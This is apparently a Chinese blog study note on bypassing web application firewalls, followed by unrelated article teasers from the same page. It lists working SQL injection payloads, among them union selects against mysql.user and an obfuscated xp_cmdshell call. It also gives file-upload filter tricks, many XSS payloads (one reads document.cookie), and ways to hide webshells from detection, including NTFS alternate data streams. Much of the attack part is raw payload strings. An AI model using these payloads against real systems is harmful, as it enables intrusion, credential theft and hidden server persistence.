waf绕过
1.市场Waf分类
硬件Waf:绿盟、安恒、启明、知道创宇等
需要选择模式
透明模式
反向代理分为反向代理(代理模式)与反向代理(牵引模式)
反向代理又分为两种模式,反向代理(代理模式)与反向代理(牵引模式)
旁路监控
软件Waf:安全狗、云锁、中间件自带的Waf模块
云WAF:阿里云、安全狗、知道创宇、安恒
2.WAF的检测方法
首先白名单黑名单身份认证--数据包解析--规则判断--拦截
![]()
3.身份认证阶段绕过
- 伪造搜索引擎绕过
- 伪造白名单的特殊目录
admin/../ 方式绕过
http://10.0.0.139:92/pikachu/pkxss/admin/../pkxss_login.php
4.数据包解析绕过
- 1、burp安装waf模块
云WAF绕过方法:伪造XFF头为127.0.0.1或找出真实IP绕过
安装插件
![]()
![]()
![]()
加一些路径
![]()
![]()
- 2、通过工具伪造百度、google等user agent头或者伪造白名单特殊目录
- 3、编码url绕过
输入and 1=1
将and换位&&
进行url编码
去掉1=1
将1=1换位-1=-1
4、修改请求方式绕过:利用waf的默认规则绕过,如默认只针对拦截,不对post拦截
对方支持request
为request就是可以
- 5、复合参数绕过
http://10.0.0.139:92/sql.php?id=1&id=and&id=1=2
- 6、WAF触发规则的绕过
内联注释代替空格/**/代替空格
http://10.0.0.139:92/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/-1=-1
特殊字符拼接
例如: exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
注释包含关键字
/*!*/包含关键词
GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user
and /*!1*/=/*!1*/ #
加!是被执行
Lucy' order /*!11440 by*/ 1,2#
跟这个数字有关,这是一个版本
-1' union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#
使用大小写
http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
双写绕过
http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
关键字替换
xor异或绕过
mod绕过
= | like|in、group_concat() | concat_ws()、@@version | version()
利用WAF本身的功能绕过利用*代替空格
,如uni*on+sel*ect+1,2,3,4....
组合法
and /*!1=1*/ %23
把and为&&,urlencode后为%26%26 如:%20%26%26%20-1=-2
- 7、分块传输绕过
支持get 或request
变更请求方法
使用分块传输
0代表传输完成
- 8.利用其他变量或命令执行语句
and mod(8,7) in (1)
and mod(8,7) in (2)
异或运算(测注入点)xor
vince ' Xor '1'='1' #
vince ' Xor '1'='2' #
5.文件上传绕过
- 方法一:等号绕过
被waf拦截
上传成功
![]()
- 方法二:换行绕过
- 方法三:填充垃圾字符
在from-data前加一些垃圾字符
- 方法四:突破0,文件名前缀加[0x09]绕过
- 方法五:文件名去掉双引号绕过
6.XSS绕过Waf
- HTML5 新标签
<details%20open%20οntοggle=alert(/xss/)>
<details open οntοggle=top['prompt'](1)>
<details open οntοggle=top['al'%2b'ert'](1)>
audio标签
<audio src=x οnerrοr=alert(47)>
<audio src=x οnerrοr=prompt(1);>
<audio src=1 href=1 οnerrοr="javascript:alert(1)"></audio>
video标签
<video src=x οnerrοr=alert(48)>
<video src=x οnerrοr=prompt(1);>
div标签
<div style="width:expression(alert(/1/))">1</div> ie浏览器执行
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv> url编码绕过
math标签
<math><a/xlink:href=javascript:prompt(1)>Xss
<math href="javascript:javascript:alert(1)">Xss</math>
button标签
<button οnfοcus=alert(1) autofocus>
<button/οnclick=alert(1) >xss</button>
keygen/οnfοcus=prompt(1);>
keygen标签
<keygen οnfοcus=javascript:alert(1) autofocus>
object标签
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg <script>alert(1)</script>
iframe标签
<IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME>
<iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d">
<iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>
- 大小写绕过
- javascript伪协议
- 没有分号
- Flash
- Fuzz进行测试
- 双层标签绕过
7.Webshell免杀(服务端绕过)
用小马传大马(读取文件路径)
小马功能单一,大马功能多,小马代码少,小马作用就是传大码
PHP小马
注释法(干扰waf)
替换函数类函数组合法
把马创建成涵数,后面只要调用涵数就行
变量覆盖
在线加密
通过NTFS交换数据流文件实现文件隐藏
8.Webshell后门分析
代码分析定位法
抓包分析法
数据流量协议分析法
相关文章:
waf绕过
1.市场Waf分类 硬件Waf:绿盟、安恒、启明、知道创宇等 需要选择模式 透明模式 反向代理分为反向代理(代理模式)与反向代理(牵引模式) 反向代理又分为两种模式,反向代理…...
在 MyBatis-Plus 中,如果你想通过其他字段进行修改操作,可以使用条件构造器(Wrapper)来指定修改的条件。
在 MyBatis-Plus 中,如果你想通过其他字段进行修改操作,可以使用条件构造器(Wrapper)来指定修改的条件。 对不起,我在之前的回答中犯了一个错误。在条件构造器中,eq 方法的第一个参数应该是数据库表中的列…...
Python Opencv实践 - 入门使用Tesseract识别图片中的文字
做车牌识别项目前试一试tesseract识别中文。tesseract的安装使用请参考: Python OCR工具pytesseract详解 - 知乎pytesseract是基于Python的OCR工具, 底层使用的是Google的Tesseract-OCR 引擎,支持识别图片中的文字,支持jpeg, png…...
TCP通信实战案例-即时通信
即时通信是什么含义,要实现怎么样的设计? 即时通信,是指一个客户端的消息发出去,其他客户端可以接收到。 即时通信需要进行端口转发的设计思想。 服务端需要把在线的Socket管道存储起来。 一旦收到一个消息要推送给其他管道。…...
【数据结构初阶】算法的时间复杂度和空间复杂度
算法的时间复杂度和空间复杂度 1.算法效率1.1 如何衡量一个算法的好坏1.2 算法的复杂度 2.时间复杂度2.1 时间复杂度的概念2.2 大O的渐进表示法2.3常见时间复杂度计算举例 3.空间复杂度4. 常见复杂度对比 1.算法效率 1.1 如何衡量一个算法的好坏 如何衡量一个算法的好坏呢&am…...
git log 命令详解
测试仓库 asdf 常用参数 查询指定目录 git -C /Users/yanlp/workspace/asdf log 限制显示提交数量 git log -n 3 限制提交人|邮箱 git log --authorEdwin Kofler | git log --authoredwinkofler.dev 限制一个月内的提交git log --since1.month.ago | git log --since2023-0…...
docker运行elastic和kibana,并使用密码连接
1. elasticsearch 运行容器 docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.typesingle-node" elasticsearch:7.7.0 进入容器 docker exec -it elasticsearch bash修改配置开启密码校验 vi ./conf/elasticsearch.yml添加以下内容 …...
前端html生成PDF
需要用到的组件 1、html2canvas 地址:http://html2canvas.hertzen.com/ 安装:npm install --save html2canvas 2、jsPDF 地址:https://github.com/parallax/jsPDF 安装:npm install jspdf --save 代码 // 导出页面为PDF格式 im…...
强化学习代码实战(3) --- 寻找真我
前言 本文内容来自于南京大学郭宪老师在博文视点学院录制的视频,课程仅9元地址,配套书籍为深入浅出强化学习 编程实战 郭宪地址。 正文 我们发现多臂赌博机执行一个动作之后,无论是选择摇臂1,摇臂2,还是摇臂3之后都会返…...
SA+ST表维护height+单调队列维护:CF1073G
https://www.luogu.com.cn/problem/CF1073G lcp相关的,先跑个sa,然后height建个ST表 现在考虑询问,我们按A和B按 r k rk rk 排序。现在考虑B->A,反过来同理。 我们可以用单调队列维护,满足height是单增的。因为…...
Java中JVM、JRE和JDK三者有什么区别和联系?
任何语言或者软件的运行都需要环境。就像人要生活在空气中,鱼要活在水中,喜阴植物就不能放在阳光下暴晒一样,任何对象个体的存在都离不开其所需要的环境,编程语言亦是一样的。 java 语言的开发运行,也离不开 Java 语言…...
秋季期中考复现xj
flow analysis 1 What is the backdoor file name that comes with the server?( Including file suffix) 服务器自带的后门文件是什么?(含文件后缀) 题目还要求最后把那个文件名MD5一下,再去提交 开始的前三题是流量分析的&…...
【代码随想录】算法训练营 第十四天 第六章 二叉树 Part 1
递归遍历 递归法讲究的就是一个格式,在外边再定义一个用于递归求解的函数reverser,参数是递归的二叉树当前根节点和用于保存遍历得到的答案序列的vector容器; 函数中的格式就是,先写递归终止条件,也就是遍历的结点为…...
【访问控制】—>《熟练使用ACL进行上网行为管理》
✍ 标准和高级ACL功能介绍; ✍ 思科和华为ACL功能有什么区别? ✍ 现网中ACL都有哪些使用场景? -- ACL - 访问控制列表 - 控制: 能通/不能通 -- ACL - 结合功能 list - 简化版本的行为管理 -- 插件性质的功能 --…...
MySQL外键,表与表的关系,多表查询,Navicat软件
外键 MySQL可以使用外键来保持表之间的关系完整性。 要设置外键,可以按照以下步骤进行操作: 在创建表时,使用FOREIGN KEY关键字来指定外键列: CREATE TABLE table1 (id INT PRIMARY KEY,name VARCHAR(50),table2_id INT,FOREI…...
Linux系统镜像备忘
阿里镜像源: ubuntu ubuntu-releases安装包下载_开源镜像站-阿里云 centos centos-stream安装包下载_开源镜像站-阿里云...
Docker容器端口在主机的映射
Docker容器端口在主机的映射 Docker 允许你在启动容器时进行多个端口映射,以便将容器内部的端口映射到宿主机上的不同端口。你可以使用-p或--publish标志来指定端口映射。以下是一些示例,说明如何在 Docker 启动容器时进行多个端口映射: 映…...
Spring Boot中RedisTemplate的使用
当前Spring Boot的版本为2.7.6,在使用RedisTemplate之前我们需要在pom.xml中引入下述依赖: <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId><vers…...
GSCoolink GSV6183 带嵌入式MCU的MIPI D-PHY 转 DP/eDP
Gscoolink GSV6183是一款高性能、低功耗的MIPI D-PHY到DisplayPort/eDP 1.4转换器。通过集成基于RISC-V的增强型微控制器,GSV6183创造了一种具有成本效益的解决方案,提供了上市时间优势。MIPI D-PHY接收器支持CSI-2版本1.3和DSI版本1.3,每条通…...
Oracle查询表空间大小
1 查询数据库中所有的表空间以及表空间所占空间的大小 SELECTtablespace_name,sum( bytes ) / 1024 / 1024 FROMdba_data_files GROUP BYtablespace_name; 2 Oracle查询表空间大小及每个表所占空间的大小 SELECTtablespace_name,file_id,file_name,round( bytes / ( 1024 …...
ABAP设计模式之---“简单设计原则(Simple Design)”
“Simple Design”(简单设计)是软件开发中的一个重要理念,倡导以最简单的方式实现软件功能,以确保代码清晰易懂、易维护,并在项目需求变化时能够快速适应。 其核心目标是避免复杂和过度设计,遵循“让事情保…...
10-Oracle 23 ai Vector Search 概述和参数
一、Oracle AI Vector Search 概述 企业和个人都在尝试各种AI,使用客户端或是内部自己搭建集成大模型的终端,加速与大型语言模型(LLM)的结合,同时使用检索增强生成(Retrieval Augmented Generation &#…...
【Linux系统】Linux环境变量:系统配置的隐形指挥官
。# Linux系列 文章目录 前言一、环境变量的概念二、常见的环境变量三、环境变量特点及其相关指令3.1 环境变量的全局性3.2、环境变量的生命周期 四、环境变量的组织方式五、C语言对环境变量的操作5.1 设置环境变量:setenv5.2 删除环境变量:unsetenv5.3 遍历所有环境…...
通过 Ansible 在 Windows 2022 上安装 IIS Web 服务器
拓扑结构 这是一个用于通过 Ansible 部署 IIS Web 服务器的实验室拓扑。 前提条件: 在被管理的节点上安装WinRm 准备一张自签名的证书 开放防火墙入站tcp 5985 5986端口 准备自签名证书 PS C:\Users\azureuser> $cert New-SelfSignedCertificate -DnsName &…...
全面解析数据库:从基础概念到前沿应用
在数字化时代,数据已成为企业和社会发展的核心资产,而数据库作为存储、管理和处理数据的关键工具,在各个领域发挥着举足轻重的作用。从电商平台的商品信息管理,到社交网络的用户数据存储,再到金融行业的交易记录处理&a…...
ZYNQ学习记录FPGA(一)ZYNQ简介
一、知识准备 1.一些术语,缩写和概念: 1)ZYNQ全称:ZYNQ7000 All Pgrammable SoC 2)SoC:system on chips(片上系统),对比集成电路的SoB(system on board) 3)ARM:处理器…...
实战设计模式之模板方法模式
概述 模板方法模式定义了一个操作中的算法骨架,并将某些步骤延迟到子类中实现。模板方法使得子类可以在不改变算法结构的前提下,重新定义算法中的某些步骤。简单来说,就是在一个方法中定义了要执行的步骤顺序或算法框架,但允许子类…...
企业大模型服务合规指南:深度解析备案与登记制度
伴随AI技术的爆炸式发展,尤其是大模型(LLM)在各行各业的深度应用和整合,企业利用AI技术提升效率、创新服务的步伐不断加快。无论是像DeepSeek这样的前沿技术提供者,还是积极拥抱AI转型的传统企业,在面向公众…...
npm安装electron下载太慢,导致报错
npm安装electron下载太慢,导致报错 背景 想学习electron框架做个桌面应用,卡在了安装依赖(无语了)。。。一开始以为node版本或者npm版本太低问题,调整版本后还是报错。偶尔执行install命令后,可以开始下载…...








加一些路径






为request就是可以










